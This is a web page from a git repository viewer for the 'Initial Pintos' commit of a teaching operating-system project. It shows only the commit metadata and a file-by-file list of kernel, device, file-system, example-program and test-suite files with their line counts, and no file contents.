aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorklaar36 <klas.arvidsson@liu.se>2015-03-20 17:30:24 +0100
committerklaar36 <klas.arvidsson@liu.se>2015-03-20 17:30:24 +0100
commite7bc50ca8ffcaa6ed68ebd2315f78b0f5a7d10ad (patch)
tree4de97af7207676b69cb6a9aba8cb443cc134855d
parentb0418a24e709f0632d2ede5b0f327c422931939b (diff)
downloadpintos-rs-e7bc50ca8ffcaa6ed68ebd2315f78b0f5a7d10ad.tar.gz
Initial Pintos
-rw-r--r--README.linux105
-rw-r--r--src/LICENSE95
-rw-r--r--src/Make.config59
-rw-r--r--src/Makefile47
-rw-r--r--src/Makefile.build109
-rw-r--r--src/Makefile.kernel20
-rw-r--r--src/Makefile.userprog57
-rw-r--r--src/TAGS1560
-rw-r--r--src/devices/disk.c571
-rw-r--r--src/devices/disk.h26
-rw-r--r--src/devices/input.c52
-rw-r--r--src/devices/input.h12
-rw-r--r--src/devices/intq.c116
-rw-r--r--src/devices/intq.h43
-rw-r--r--src/devices/kbd.c207
-rw-r--r--src/devices/kbd.h9
-rw-r--r--src/devices/serial.c228
-rw-r--r--src/devices/serial.h11
-rw-r--r--src/devices/timer.c204
-rw-r--r--src/devices/timer.h23
-rw-r--r--src/devices/vga.c165
-rw-r--r--src/devices/vga.h6
-rw-r--r--src/examples/.cvsignore19
-rw-r--r--src/examples/Makefile60
-rw-r--r--src/examples/bubsort.c38
-rw-r--r--src/examples/buffer_with_hole.c52
-rw-r--r--src/examples/busy.c27
-rw-r--r--src/examples/cat.c34
-rw-r--r--src/examples/child.c27
-rw-r--r--src/examples/cmp.c68
-rw-r--r--src/examples/cp.c55
-rw-r--r--src/examples/crack.c27
-rw-r--r--src/examples/create_file.c22
-rw-r--r--src/examples/create_remove_file.c58
-rw-r--r--src/examples/dir_stress.c95
-rw-r--r--src/examples/dummy.c17
-rw-r--r--src/examples/echo.c14
-rw-r--r--src/examples/file_syscall_tests.c365
-rw-r--r--src/examples/generic_parent.c48
-rw-r--r--src/examples/halt.c14
-rw-r--r--src/examples/hex-dump.c35
-rw-r--r--src/examples/insult.c368
-rw-r--r--src/examples/lab2test.c.old183
-rw-r--r--src/examples/lab2test.d3
-rw-r--r--src/examples/lab2test.obin0 -> 8244 bytes
-rw-r--r--src/examples/lib/.cvsignore1
-rw-r--r--src/examples/lib/user/.cvsignore1
-rw-r--r--src/examples/lib/user/.dummy0
-rw-r--r--src/examples/line_echo.c60
-rw-r--r--src/examples/lineup.c46
-rw-r--r--src/examples/longrun.c90
-rw-r--r--src/examples/longrun_interactive.c77
-rw-r--r--src/examples/longrun_nowait.c89
-rw-r--r--src/examples/ls.c91
-rw-r--r--src/examples/matmult.c57
-rw-r--r--src/examples/mcat.c45
-rw-r--r--src/examples/mcp.c68
-rw-r--r--src/examples/mkdir.c24
-rw-r--r--src/examples/noopsled.c44
-rw-r--r--src/examples/overflow.c88
-rw-r--r--src/examples/parent.c52
-rw-r--r--src/examples/pfs.c32
-rw-r--r--src/examples/pfs.h2
-rw-r--r--src/examples/pfs_reader.c50
-rw-r--r--src/examples/pfs_writer.c48
-rw-r--r--src/examples/pwd.c152
-rw-r--r--src/examples/recursor.c34
-rw-r--r--src/examples/rm.c21
-rw-r--r--src/examples/shell.c104
-rw-r--r--src/examples/shellcode.c81
-rw-r--r--src/examples/sumargv.c54
-rw-r--r--src/filesys/.cvsignore3
-rw-r--r--src/filesys/Make.vars13
-rw-r--r--src/filesys/Makefile1
-rw-r--r--src/filesys/directory.c236
-rw-r--r--src/filesys/directory.h30
-rw-r--r--src/filesys/file.c140
-rw-r--r--src/filesys/file.h26
-rw-r--r--src/filesys/filesys.c114
-rw-r--r--src/filesys/filesys.h23
-rw-r--r--src/filesys/free-map.c88
-rw-r--r--src/filesys/free-map.h17
-rw-r--r--src/filesys/fsutil.c197
-rw-r--r--src/filesys/fsutil.h10
-rw-r--r--src/filesys/inode.c336
-rw-r--r--src/filesys/inode.h22
-rw-r--r--src/filesys/off_t.h15
-rw-r--r--src/lib/arithmetic.c189
-rw-r--r--src/lib/ctype.h28
-rw-r--r--src/lib/debug.c34
-rw-r--r--src/lib/debug.h45
-rw-r--r--src/lib/inttypes.h48
-rw-r--r--src/lib/kernel/bitmap.c372
-rw-r--r--src/lib/kernel/bitmap.h51
-rw-r--r--src/lib/kernel/console.c191
-rw-r--r--src/lib/kernel/console.h8
-rw-r--r--src/lib/kernel/debug.c48
-rw-r--r--src/lib/kernel/hash.c430
-rw-r--r--src/lib/kernel/hash.h103
-rw-r--r--src/lib/kernel/list.c532
-rw-r--r--src/lib/kernel/list.h168
-rw-r--r--src/lib/kernel/slist.c153
-rw-r--r--src/lib/kernel/slist.h25
-rw-r--r--src/lib/kernel/stdio.h6
-rw-r--r--src/lib/limits.h34
-rw-r--r--src/lib/random.c83
-rw-r--r--src/lib/random.h10
-rw-r--r--src/lib/round.h18
-rw-r--r--src/lib/stdarg.h14
-rw-r--r--src/lib/stdbool.h9
-rw-r--r--src/lib/stddef.h12
-rw-r--r--src/lib/stdint.h51
-rw-r--r--src/lib/stdio.c637
-rw-r--r--src/lib/stdio.h39
-rw-r--r--src/lib/stdlib.c208
-rw-r--r--src/lib/stdlib.h22
-rw-r--r--src/lib/string.c404
-rw-r--r--src/lib/string.h36
-rw-r--r--src/lib/syscall-nr.h36
-rw-r--r--src/lib/user/console.c94
-rw-r--r--src/lib/user/debug.c25
-rw-r--r--src/lib/user/entry.c10
-rw-r--r--src/lib/user/stdio.h7
-rw-r--r--src/lib/user/syscall.c185
-rw-r--r--src/lib/user/syscall.h49
-rw-r--r--src/lib/user/user.lds57
-rw-r--r--src/misc/bochs-2.2.6-big-endian.patch63
-rw-r--r--src/misc/bochs-2.2.6-build.sh40
-rw-r--r--src/misc/bochs-2.2.6-gdbstub-ENN.patch29
-rw-r--r--src/misc/bochs-2.2.6-jitter.patch61
-rw-r--r--src/misc/bochs-2.2.6-ms-extensions.patch14
-rw-r--r--src/misc/bochs-2.2.6-page-fault-segv.patch79
-rw-r--r--src/misc/bochs-2.2.6-paranoia.patch19
-rw-r--r--src/misc/bochs-2.2.6-solaris-link.patch11
-rw-r--r--src/misc/bochs-2.2.6-solaris-tty.patch31
-rw-r--r--src/misc/bochs-2.2.6-triple-fault.patch57
-rw-r--r--src/misc/gcc-3.3.6-cross-howto39
-rw-r--r--src/misc/gdb-macros120
-rw-r--r--src/tests/Algorithm/Diff.pm1713
-rw-r--r--src/tests/Make.tests98
-rw-r--r--src/tests/arc4.c53
-rw-r--r--src/tests/arc4.h17
-rw-r--r--src/tests/arc4.pm29
-rw-r--r--src/tests/cksum.c92
-rw-r--r--src/tests/cksum.h8
-rw-r--r--src/tests/cksum.pm87
-rw-r--r--src/tests/filesys/Grading.no-vm18
-rw-r--r--src/tests/filesys/Grading.with-vm22
-rw-r--r--src/tests/filesys/base/Make.tests18
-rw-r--r--src/tests/filesys/base/Rubric19
-rw-r--r--src/tests/filesys/base/child-syn-read.c44
-rw-r--r--src/tests/filesys/base/child-syn-wrt.c35
-rw-r--r--src/tests/filesys/base/full.inc20
-rw-r--r--src/tests/filesys/base/lg-create.c5
-rw-r--r--src/tests/filesys/base/lg-create.ck13
-rw-r--r--src/tests/filesys/base/lg-full.c6
-rw-r--r--src/tests/filesys/base/lg-full.ck16
-rw-r--r--src/tests/filesys/base/lg-random.c7
-rw-r--r--src/tests/filesys/base/lg-random.ck14
-rw-r--r--src/tests/filesys/base/lg-seq-block.c7
-rw-r--r--src/tests/filesys/base/lg-seq-block.ck16
-rw-r--r--src/tests/filesys/base/lg-seq-random.c6
-rw-r--r--src/tests/filesys/base/lg-seq-random.ck16
-rw-r--r--src/tests/filesys/base/random.inc59
-rw-r--r--src/tests/filesys/base/seq-block.inc20
-rw-r--r--src/tests/filesys/base/seq-random.inc22
-rw-r--r--src/tests/filesys/base/sm-create.c5
-rw-r--r--src/tests/filesys/base/sm-create.ck13
-rw-r--r--src/tests/filesys/base/sm-full.c6
-rw-r--r--src/tests/filesys/base/sm-full.ck16
-rw-r--r--src/tests/filesys/base/sm-random.c7
-rw-r--r--src/tests/filesys/base/sm-random.ck14
-rw-r--r--src/tests/filesys/base/sm-seq-block.c7
-rw-r--r--src/tests/filesys/base/sm-seq-block.ck16
-rw-r--r--src/tests/filesys/base/sm-seq-random.c6
-rw-r--r--src/tests/filesys/base/sm-seq-random.ck16
-rw-r--r--src/tests/filesys/base/syn-read.c31
-rw-r--r--src/tests/filesys/base/syn-read.ck33
-rw-r--r--src/tests/filesys/base/syn-read.h7
-rw-r--r--src/tests/filesys/base/syn-remove.c30
-rw-r--r--src/tests/filesys/base/syn-remove.ck16
-rw-r--r--src/tests/filesys/base/syn-write.c31
-rw-r--r--src/tests/filesys/base/syn-write.ck32
-rw-r--r--src/tests/filesys/base/syn-write.h9
-rw-r--r--src/tests/filesys/create.inc15
-rw-r--r--src/tests/filesys/extended/Make.tests61
-rw-r--r--src/tests/filesys/extended/Rubric.functionality26
-rw-r--r--src/tests/filesys/extended/Rubric.persistence24
-rw-r--r--src/tests/filesys/extended/Rubric.robustness9
-rw-r--r--src/tests/filesys/extended/child-syn-rw.c53
-rw-r--r--src/tests/filesys/extended/dir-empty-name-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-empty-name.c12
-rw-r--r--src/tests/filesys/extended/dir-empty-name.ck10
-rw-r--r--src/tests/filesys/extended/dir-mk-tree-persistence.ck16
-rw-r--r--src/tests/filesys/extended/dir-mk-tree.c12
-rw-r--r--src/tests/filesys/extended/dir-mk-tree.ck12
-rw-r--r--src/tests/filesys/extended/dir-mkdir-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-mkdir.c15
-rw-r--r--src/tests/filesys/extended/dir-mkdir.ck13
-rw-r--r--src/tests/filesys/extended/dir-open-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-open.c21
-rw-r--r--src/tests/filesys/extended/dir-open.ck20
-rw-r--r--src/tests/filesys/extended/dir-over-file-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-over-file.c13
-rw-r--r--src/tests/filesys/extended/dir-over-file.ck11
-rw-r--r--src/tests/filesys/extended/dir-rm-cwd-persistence.ck8
-rw-r--r--src/tests/filesys/extended/dir-rm-cwd.c75
-rw-r--r--src/tests/filesys/extended/dir-rm-cwd.ck51
-rw-r--r--src/tests/filesys/extended/dir-rm-parent-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-rm-parent.c16
-rw-r--r--src/tests/filesys/extended/dir-rm-parent.ck14
-rw-r--r--src/tests/filesys/extended/dir-rm-root-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-rm-root.c13
-rw-r--r--src/tests/filesys/extended/dir-rm-root.ck11
-rw-r--r--src/tests/filesys/extended/dir-rm-tree-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-rm-tree.c62
-rw-r--r--src/tests/filesys/extended/dir-rm-tree.ck14
-rw-r--r--src/tests/filesys/extended/dir-rmdir-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-rmdir.c14
-rw-r--r--src/tests/filesys/extended/dir-rmdir.ck12
-rw-r--r--src/tests/filesys/extended/dir-under-file-persistence.ck6
-rw-r--r--src/tests/filesys/extended/dir-under-file.c13
-rw-r--r--src/tests/filesys/extended/dir-under-file.ck11
-rw-r--r--src/tests/filesys/extended/dir-vine-persistence.ck37
-rw-r--r--src/tests/filesys/extended/dir-vine.c85
-rw-r--r--src/tests/filesys/extended/dir-vine.ck11
-rw-r--r--src/tests/filesys/extended/grow-create-persistence.ck6
-rw-r--r--src/tests/filesys/extended/grow-create.c4
-rw-r--r--src/tests/filesys/extended/grow-create.ck13
-rw-r--r--src/tests/filesys/extended/grow-dir-lg-persistence.ck9
-rw-r--r--src/tests/filesys/extended/grow-dir-lg.c6
-rw-r--r--src/tests/filesys/extended/grow-dir-lg.ck61
-rw-r--r--src/tests/filesys/extended/grow-dir.inc41
-rw-r--r--src/tests/filesys/extended/grow-file-size-persistence.ck7
-rw-r--r--src/tests/filesys/extended/grow-file-size.c33
-rw-r--r--src/tests/filesys/extended/grow-file-size.ck17
-rw-r--r--src/tests/filesys/extended/grow-root-lg-persistence.ck9
-rw-r--r--src/tests/filesys/extended/grow-root-lg.c4
-rw-r--r--src/tests/filesys/extended/grow-root-lg.ck60
-rw-r--r--src/tests/filesys/extended/grow-root-sm-persistence.ck9
-rw-r--r--src/tests/filesys/extended/grow-root-sm.c4
-rw-r--r--src/tests/filesys/extended/grow-root-sm.ck30
-rw-r--r--src/tests/filesys/extended/grow-seq-lg-persistence.ck7
-rw-r--r--src/tests/filesys/extended/grow-seq-lg.c5
-rw-r--r--src/tests/filesys/extended/grow-seq-lg.ck17
-rw-r--r--src/tests/filesys/extended/grow-seq-sm-persistence.ck7
-rw-r--r--src/tests/filesys/extended/grow-seq-sm.c5
-rw-r--r--src/tests/filesys/extended/grow-seq-sm.ck17
-rw-r--r--src/tests/filesys/extended/grow-seq.inc20
-rw-r--r--src/tests/filesys/extended/grow-sparse-persistence.ck6
-rw-r--r--src/tests/filesys/extended/grow-sparse.c25
-rw-r--r--src/tests/filesys/extended/grow-sparse.ck17
-rw-r--r--src/tests/filesys/extended/grow-tell-persistence.ck7
-rw-r--r--src/tests/filesys/extended/grow-tell.c32
-rw-r--r--src/tests/filesys/extended/grow-tell.ck17
-rw-r--r--src/tests/filesys/extended/grow-two-files-persistence.ck9
-rw-r--r--src/tests/filesys/extended/grow-two-files.c62
-rw-r--r--src/tests/filesys/extended/grow-two-files.ck23
-rw-r--r--src/tests/filesys/extended/mk-tree.c67
-rw-r--r--src/tests/filesys/extended/mk-tree.h6
-rw-r--r--src/tests/filesys/extended/syn-rw-persistence.ck8
-rw-r--r--src/tests/filesys/extended/syn-rw.c35
-rw-r--r--src/tests/filesys/extended/syn-rw.ck20
-rw-r--r--src/tests/filesys/extended/syn-rw.h9
-rw-r--r--src/tests/filesys/extended/tar.c250
-rw-r--r--src/tests/filesys/seq-test.c37
-rw-r--r--src/tests/filesys/seq-test.h11
-rw-r--r--src/tests/internal/list.c174
-rw-r--r--src/tests/internal/stdio.c208
-rw-r--r--src/tests/internal/stdlib.c114
-rw-r--r--src/tests/klaar/Make.tests24
-rw-r--r--src/tests/klaar/child-simple.c15
-rw-r--r--src/tests/klaar/corrupt-elfbin0 -> 14398 bytes
-rw-r--r--src/tests/klaar/exec-corrupt.c14
-rw-r--r--src/tests/klaar/exec-corrupt.ck31
-rw-r--r--src/tests/klaar/low-mem.c15
-rw-r--r--src/tests/klaar/low-mem.ck11
-rw-r--r--src/tests/klaar/read-bad-buf.c24
-rw-r--r--src/tests/klaar/read-bad-buf.ck15
-rw-r--r--src/tests/klaar/sample.txt4
-rw-r--r--src/tests/lib.c196
-rw-r--r--src/tests/lib.h50
-rw-r--r--src/tests/lib.pm19
-rw-r--r--src/tests/main.c15
-rw-r--r--src/tests/main.h6
-rw-r--r--src/tests/make-grade152
-rw-r--r--src/tests/random.pm27
-rw-r--r--src/tests/tests.pm622
-rw-r--r--src/tests/threads/Grading6
-rw-r--r--src/tests/threads/Make.tests49
-rw-r--r--src/tests/threads/Rubric.alarm8
-rw-r--r--src/tests/threads/Rubric.mlfqs14
-rw-r--r--src/tests/threads/Rubric.priority15
-rw-r--r--src/tests/threads/alarm-multiple.ck4
-rw-r--r--src/tests/threads/alarm-negative.c15
-rw-r--r--src/tests/threads/alarm-negative.ck10
-rw-r--r--src/tests/threads/alarm-priority.c58
-rw-r--r--src/tests/threads/alarm-priority.ck19
-rw-r--r--src/tests/threads/alarm-simultaneous.c94
-rw-r--r--src/tests/threads/alarm-simultaneous.ck27
-rw-r--r--src/tests/threads/alarm-single.ck4
-rw-r--r--src/tests/threads/alarm-wait.c152
-rw-r--r--src/tests/threads/alarm-zero.c15
-rw-r--r--src/tests/threads/alarm-zero.ck10
-rw-r--r--src/tests/threads/alarm.pm32
-rw-r--r--src/tests/threads/mlfqs-block.c64
-rw-r--r--src/tests/threads/mlfqs-block.ck17
-rw-r--r--src/tests/threads/mlfqs-fair-2.ck7
-rw-r--r--src/tests/threads/mlfqs-fair-20.ck7
-rw-r--r--src/tests/threads/mlfqs-fair.c124
-rw-r--r--src/tests/threads/mlfqs-load-1.c60
-rw-r--r--src/tests/threads/mlfqs-load-1.ck15
-rw-r--r--src/tests/threads/mlfqs-load-60.c155
-rw-r--r--src/tests/threads/mlfqs-load-60.ck36
-rw-r--r--src/tests/threads/mlfqs-load-avg.c167
-rw-r--r--src/tests/threads/mlfqs-load-avg.ck36
-rw-r--r--src/tests/threads/mlfqs-nice-10.ck7
-rw-r--r--src/tests/threads/mlfqs-nice-2.ck7
-rw-r--r--src/tests/threads/mlfqs-recent-1.c144
-rw-r--r--src/tests/threads/mlfqs-recent-1.ck31
-rw-r--r--src/tests/threads/mlfqs.pm146
-rw-r--r--src/tests/threads/priority-change.c31
-rw-r--r--src/tests/threads/priority-change.ck14
-rw-r--r--src/tests/threads/priority-condvar.c53
-rw-r--r--src/tests/threads/priority-condvar.ck39
-rw-r--r--src/tests/threads/priority-donate-chain.c114
-rw-r--r--src/tests/threads/priority-donate-chain.ck46
-rw-r--r--src/tests/threads/priority-donate-lower.c51
-rw-r--r--src/tests/threads/priority-donate-lower.ck16
-rw-r--r--src/tests/threads/priority-donate-multiple.c77
-rw-r--r--src/tests/threads/priority-donate-multiple.ck19
-rw-r--r--src/tests/threads/priority-donate-multiple2.c90
-rw-r--r--src/tests/threads/priority-donate-multiple2.ck19
-rw-r--r--src/tests/threads/priority-donate-nest.c94
-rw-r--r--src/tests/threads/priority-donate-nest.ck19
-rw-r--r--src/tests/threads/priority-donate-one.c65
-rw-r--r--src/tests/threads/priority-donate-one.ck17
-rw-r--r--src/tests/threads/priority-donate-sema.c82
-rw-r--r--src/tests/threads/priority-donate-sema.ck16
-rw-r--r--src/tests/threads/priority-fifo.c99
-rw-r--r--src/tests/threads/priority-fifo.ck63
-rw-r--r--src/tests/threads/priority-preempt.c41
-rw-r--r--src/tests/threads/priority-preempt.ck16
-rw-r--r--src/tests/threads/priority-sema.c45
-rw-r--r--src/tests/threads/priority-sema.ck29
-rw-r--r--src/tests/threads/simplethreadtest.c68
-rw-r--r--src/tests/threads/tests.c104
-rw-r--r--src/tests/threads/tests.h43
-rw-r--r--src/tests/threads/threadtest.c250
-rw-r--r--src/tests/userprog/Grading11
-rw-r--r--src/tests/userprog/Make.tests125
-rw-r--r--src/tests/userprog/Make.tests.odig132
-rw-r--r--src/tests/userprog/Rubric.functionality52
-rw-r--r--src/tests/userprog/Rubric.robustness48
-rw-r--r--src/tests/userprog/args-dbl-space.ck15
-rw-r--r--src/tests/userprog/args-many.ck35
-rw-r--r--src/tests/userprog/args-multiple.ck17
-rw-r--r--src/tests/userprog/args-none.ck13
-rw-r--r--src/tests/userprog/args-single.ck14
-rw-r--r--src/tests/userprog/args.c25
-rw-r--r--src/tests/userprog/bad-jump.c13
-rw-r--r--src/tests/userprog/bad-jump.ck9
-rw-r--r--src/tests/userprog/bad-jump2.c13
-rw-r--r--src/tests/userprog/bad-jump2.ck9
-rw-r--r--src/tests/userprog/bad-read.c13
-rw-r--r--src/tests/userprog/bad-read.ck9
-rw-r--r--src/tests/userprog/bad-read2.c13
-rw-r--r--src/tests/userprog/bad-read2.ck9
-rw-r--r--src/tests/userprog/bad-write.c12
-rw-r--r--src/tests/userprog/bad-write.ck9
-rw-r--r--src/tests/userprog/bad-write2.c12
-rw-r--r--src/tests/userprog/bad-write2.ck9
-rw-r--r--src/tests/userprog/boundary.c33
-rw-r--r--src/tests/userprog/boundary.h7
-rw-r--r--src/tests/userprog/child-bad.c14
-rw-r--r--src/tests/userprog/child-close.c28
-rw-r--r--src/tests/userprog/child-rox.c55
-rw-r--r--src/tests/userprog/child-simple.c15
-rw-r--r--src/tests/userprog/close-bad-fd.c11
-rw-r--r--src/tests/userprog/close-bad-fd.ck13
-rw-r--r--src/tests/userprog/close-normal.c14
-rw-r--r--src/tests/userprog/close-normal.ck12
-rw-r--r--src/tests/userprog/close-stdin.c11
-rw-r--r--src/tests/userprog/close-stdin.ck13
-rw-r--r--src/tests/userprog/close-stdout.c11
-rw-r--r--src/tests/userprog/close-stdout.ck13
-rw-r--r--src/tests/userprog/close-twice.c18
-rw-r--r--src/tests/userprog/close-twice.ck19
-rw-r--r--src/tests/userprog/create-bad-ptr.c12
-rw-r--r--src/tests/userprog/create-bad-ptr.ck9
-rw-r--r--src/tests/userprog/create-bound.c14
-rw-r--r--src/tests/userprog/create-bound.ck11
-rw-r--r--src/tests/userprog/create-empty.c10
-rw-r--r--src/tests/userprog/create-empty.ck14
-rw-r--r--src/tests/userprog/create-exists.c16
-rw-r--r--src/tests/userprog/create-exists.ck15
-rw-r--r--src/tests/userprog/create-long.c17
-rw-r--r--src/tests/userprog/create-long.ck11
-rw-r--r--src/tests/userprog/create-normal.c10
-rw-r--r--src/tests/userprog/create-normal.ck11
-rw-r--r--src/tests/userprog/create-null.c11
-rw-r--r--src/tests/userprog/create-null.ck9
-rw-r--r--src/tests/userprog/exec-arg.c10
-rw-r--r--src/tests/userprog/exec-arg.ck17
-rw-r--r--src/tests/userprog/exec-bad-ptr.c11
-rw-r--r--src/tests/userprog/exec-bad-ptr.ck13
-rw-r--r--src/tests/userprog/exec-missing.c12
-rw-r--r--src/tests/userprog/exec-missing.ck31
-rw-r--r--src/tests/userprog/exec-multiple.c14
-rw-r--r--src/tests/userprog/exec-multiple.ck18
-rw-r--r--src/tests/userprog/exec-once.c11
-rw-r--r--src/tests/userprog/exec-once.ck12
-rw-r--r--src/tests/userprog/exit.c11
-rw-r--r--src/tests/userprog/exit.ck9
-rw-r--r--src/tests/userprog/halt.c11
-rw-r--r--src/tests/userprog/halt.ck15
-rw-r--r--src/tests/userprog/lib/.cvsignore1
-rw-r--r--src/tests/userprog/lib/user/.cvsignore1
-rw-r--r--src/tests/userprog/lib/user/.dummy0
-rw-r--r--src/tests/userprog/multi-child-fd.c25
-rw-r--r--src/tests/userprog/multi-child-fd.ck25
-rw-r--r--src/tests/userprog/multi-recurse.c34
-rw-r--r--src/tests/userprog/multi-recurse.ck70
-rw-r--r--src/tests/userprog/no-vm/Make.tests8
-rw-r--r--src/tests/userprog/no-vm/Rubric3
-rw-r--r--src/tests/userprog/no-vm/multi-oom.c179
-rw-r--r--src/tests/userprog/no-vm/multi-oom.ck10
-rw-r--r--src/tests/userprog/null.ck8
-rw-r--r--src/tests/userprog/open-bad-ptr.c13
-rw-r--r--src/tests/userprog/open-bad-ptr.ck13
-rw-r--r--src/tests/userprog/open-boundary.c14
-rw-r--r--src/tests/userprog/open-boundary.ck11
-rw-r--r--src/tests/userprog/open-empty.c13
-rw-r--r--src/tests/userprog/open-empty.ck10
-rw-r--r--src/tests/userprog/open-missing.c13
-rw-r--r--src/tests/userprog/open-missing.ck10
-rw-r--r--src/tests/userprog/open-normal.c13
-rw-r--r--src/tests/userprog/open-normal.ck10
-rw-r--r--src/tests/userprog/open-null.c12
-rw-r--r--src/tests/userprog/open-null.ck13
-rw-r--r--src/tests/userprog/open-twice.c19
-rw-r--r--src/tests/userprog/open-twice.ck12
-rw-r--r--src/tests/userprog/read-bad-fd.c21
-rw-r--r--src/tests/userprog/read-bad-fd.ck13
-rw-r--r--src/tests/userprog/read-bad-ptr.c16
-rw-r--r--src/tests/userprog/read-bad-ptr.ck15
-rw-r--r--src/tests/userprog/read-boundary.c30
-rw-r--r--src/tests/userprog/read-boundary.ck11
-rw-r--r--src/tests/userprog/read-normal.c11
-rw-r--r--src/tests/userprog/read-normal.ck13
-rw-r--r--src/tests/userprog/read-stdout.c14
-rw-r--r--src/tests/userprog/read-stdout.ck13
-rw-r--r--src/tests/userprog/read-zero.c22
-rw-r--r--src/tests/userprog/read-zero.ck11
-rw-r--r--src/tests/userprog/rox-child.c5
-rw-r--r--src/tests/userprog/rox-child.ck20
-rw-r--r--src/tests/userprog/rox-child.inc33
-rw-r--r--src/tests/userprog/rox-multichild.c5
-rw-r--r--src/tests/userprog/rox-multichild.ck44
-rw-r--r--src/tests/userprog/rox-simple.c19
-rw-r--r--src/tests/userprog/rox-simple.ck13
-rw-r--r--src/tests/userprog/sample.inc6
-rw-r--r--src/tests/userprog/sample.txt4
-rw-r--r--src/tests/userprog/sc-bad-arg.c17
-rw-r--r--src/tests/userprog/sc-bad-arg.ck9
-rw-r--r--src/tests/userprog/sc-bad-sp.c20
-rw-r--r--src/tests/userprog/sc-bad-sp.ck9
-rw-r--r--src/tests/userprog/sc-boundary-2.c22
-rw-r--r--src/tests/userprog/sc-boundary-2.ck9
-rw-r--r--src/tests/userprog/sc-boundary.c22
-rw-r--r--src/tests/userprog/sc-boundary.ck9
-rw-r--r--src/tests/userprog/wait-bad-pid.c11
-rw-r--r--src/tests/userprog/wait-bad-pid.ck13
-rw-r--r--src/tests/userprog/wait-killed.c11
-rw-r--r--src/tests/userprog/wait-killed.ck13
-rw-r--r--src/tests/userprog/wait-simple.c11
-rw-r--r--src/tests/userprog/wait-simple.ck13
-rw-r--r--src/tests/userprog/wait-twice.c15
-rw-r--r--src/tests/userprog/wait-twice.ck14
-rw-r--r--src/tests/userprog/write-bad-fd.c20
-rw-r--r--src/tests/userprog/write-bad-fd.ck13
-rw-r--r--src/tests/userprog/write-bad-ptr.c16
-rw-r--r--src/tests/userprog/write-bad-ptr.ck15
-rw-r--r--src/tests/userprog/write-boundary.c25
-rw-r--r--src/tests/userprog/write-boundary.ck11
-rw-r--r--src/tests/userprog/write-normal.c20
-rw-r--r--src/tests/userprog/write-normal.ck12
-rw-r--r--src/tests/userprog/write-stdin.c14
-rw-r--r--src/tests/userprog/write-stdin.ck13
-rw-r--r--src/tests/userprog/write-zero.c20
-rw-r--r--src/tests/userprog/write-zero.ck11
-rw-r--r--src/tests/vm/Grading12
-rw-r--r--src/tests/vm/Make.tests103
-rw-r--r--src/tests/vm/Rubric.functionality30
-rw-r--r--src/tests/vm/Rubric.robustness21
-rw-r--r--src/tests/vm/child-inherit.c16
-rw-r--r--src/tests/vm/child-linear.c36
-rw-r--r--src/tests/vm/child-mm-wrt.c24
-rw-r--r--src/tests/vm/child-qsort-mm.c25
-rw-r--r--src/tests/vm/child-qsort.c32
-rw-r--r--src/tests/vm/child-sort.c42
-rw-r--r--src/tests/vm/mmap-bad-fd.c15
-rw-r--r--src/tests/vm/mmap-bad-fd.ck15
-rw-r--r--src/tests/vm/mmap-clean.c53
-rw-r--r--src/tests/vm/mmap-clean.ck16
-rw-r--r--src/tests/vm/mmap-close.c27
-rw-r--r--src/tests/vm/mmap-close.ck11
-rw-r--r--src/tests/vm/mmap-exit.c22
-rw-r--r--src/tests/vm/mmap-exit.ck17
-rw-r--r--src/tests/vm/mmap-inherit.c32
-rw-r--r--src/tests/vm/mmap-inherit.ck16
-rw-r--r--src/tests/vm/mmap-misalign.c16
-rw-r--r--src/tests/vm/mmap-misalign.ck11
-rw-r--r--src/tests/vm/mmap-null.c15
-rw-r--r--src/tests/vm/mmap-null.ck11
-rw-r--r--src/tests/vm/mmap-over-code.c19
-rw-r--r--src/tests/vm/mmap-over-code.ck11
-rw-r--r--src/tests/vm/mmap-over-data.c21
-rw-r--r--src/tests/vm/mmap-over-data.ck11
-rw-r--r--src/tests/vm/mmap-over-stk.c19
-rw-r--r--src/tests/vm/mmap-over-stk.ck11
-rw-r--r--src/tests/vm/mmap-overlap.c20
-rw-r--r--src/tests/vm/mmap-overlap.ck13
-rw-r--r--src/tests/vm/mmap-read.c32
-rw-r--r--src/tests/vm/mmap-read.ck11
-rw-r--r--src/tests/vm/mmap-remove.c43
-rw-r--r--src/tests/vm/mmap-remove.ck14
-rw-r--r--src/tests/vm/mmap-shuffle.c38
-rw-r--r--src/tests/vm/mmap-shuffle.ck47
-rw-r--r--src/tests/vm/mmap-twice.c28
-rw-r--r--src/tests/vm/mmap-twice.ck15
-rw-r--r--src/tests/vm/mmap-unmap.c23
-rw-r--r--src/tests/vm/mmap-unmap.ck7
-rw-r--r--src/tests/vm/mmap-write.c32
-rw-r--r--src/tests/vm/mmap-write.ck13
-rw-r--r--src/tests/vm/mmap-zero.c27
-rw-r--r--src/tests/vm/mmap-zero.ck12
-rw-r--r--src/tests/vm/page-linear.c44
-rw-r--r--src/tests/vm/page-linear.ck14
-rw-r--r--src/tests/vm/page-merge-mm.c8
-rw-r--r--src/tests/vm/page-merge-mm.ck29
-rw-r--r--src/tests/vm/page-merge-par.c8
-rw-r--r--src/tests/vm/page-merge-par.ck29
-rw-r--r--src/tests/vm/page-merge-seq.c137
-rw-r--r--src/tests/vm/page-merge-seq.ck29
-rw-r--r--src/tests/vm/page-merge-stk.c8
-rw-r--r--src/tests/vm/page-merge-stk.ck29
-rw-r--r--src/tests/vm/page-parallel.c21
-rw-r--r--src/tests/vm/page-parallel.ck17
-rw-r--r--src/tests/vm/page-shuffle.c30
-rw-r--r--src/tests/vm/page-shuffle.ck44
-rw-r--r--src/tests/vm/parallel-merge.c149
-rw-r--r--src/tests/vm/parallel-merge.h6
-rw-r--r--src/tests/vm/process_death.pm22
-rw-r--r--src/tests/vm/pt-bad-addr.c11
-rw-r--r--src/tests/vm/pt-bad-addr.ck7
-rw-r--r--src/tests/vm/pt-bad-read.c16
-rw-r--r--src/tests/vm/pt-bad-read.ck10
-rw-r--r--src/tests/vm/pt-big-stk-obj.c20
-rw-r--r--src/tests/vm/pt-big-stk-obj.ck10
-rw-r--r--src/tests/vm/pt-grow-bad.c14
-rw-r--r--src/tests/vm/pt-grow-bad.ck9
-rw-r--r--src/tests/vm/pt-grow-pusha.c20
